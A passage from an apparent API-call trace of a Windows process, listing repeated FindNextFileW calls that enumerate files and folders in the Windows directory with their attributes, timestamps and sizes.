ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x16ca6ff3, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x678d9360, ftLastAccessTime.dwHighDateTime=0x1d85957, ftLastWriteTime.dwLowDateTime=0x678d9360, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="inf", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x57fb4f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x57fb4f20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1 [0154.180] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1 [0154.180] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24316f70, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x24316f70, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0154.180] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media", cAlternateFileName="")) returned 1 [0154.180] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f29dbd7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7f29dbd7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9d4aec0c, ftLastWriteTime.dwHighDateTime=0x1ca040e, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mib.bin", cAlternateFileName="")) returned 1 [0154.180] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d2bf3f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5d2bf3f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0154.180] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf40e6d30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf40e6d30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82fedc8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc82fedc8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2d6b0bf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.ini", cAlternateFileName="")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e1cc01, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc4e1cc01, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0x88f8a140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x678c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFRO.log", cAlternateFileName="")) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLA", cAlternateFileName="")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x495c5340, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495c5340, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8f9bf0f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x8f9bf0f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prefetch", cAlternateFileName="")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9a5c4e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5b155ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xd12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a7c91c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x71a7c91c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xedf95f70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x68400, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe", cAlternateFileName="")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7df0c2b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7df0c2b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rescache", cAlternateFileName="")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SchCache", cAlternateFileName="")) returned 1 [0154.182] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemas", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x637e35a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="setupact.log", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xaf387a18, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setuperr.log", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x30cc6ce0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x30cc6ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellNew", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x192dc2a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xb554dba0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb554dba0, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0154.183] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936ee880, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="splwow64.exe", cAlternateFileName="")) returned 1 [0154.184] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa2eb0, ftCreationTime.dwHighDateTime=0x1ca0443, ftLastAccessTime.dwLowDateTime=0xf0aa2eb0, ftLastAccessTime.dwHighDateTime=0x1ca0443, ftLastWriteTime.dwLowDateTime=0x5f19ab6d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Starter.xml", cAlternateFileName="")) returned 1 [0154.184] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="system", cAlternateFileName="")) returned 1 [0154.184] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8bb1d8db, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.ini", cAlternateFileName="")) returned 1 [0154.184] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x249bc240, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x249bc240, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 1 [0154.185] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26f5fe20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x26f5fe20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 1 [0154.185] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAPI", cAlternateFileName="")) returned 1 [0154.185] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2bfe5dcf, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bfe5dcf, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks", cAlternateFileName="")) returned 1 [0154.185] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8e0c09f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x8e0c09f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0154.185] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 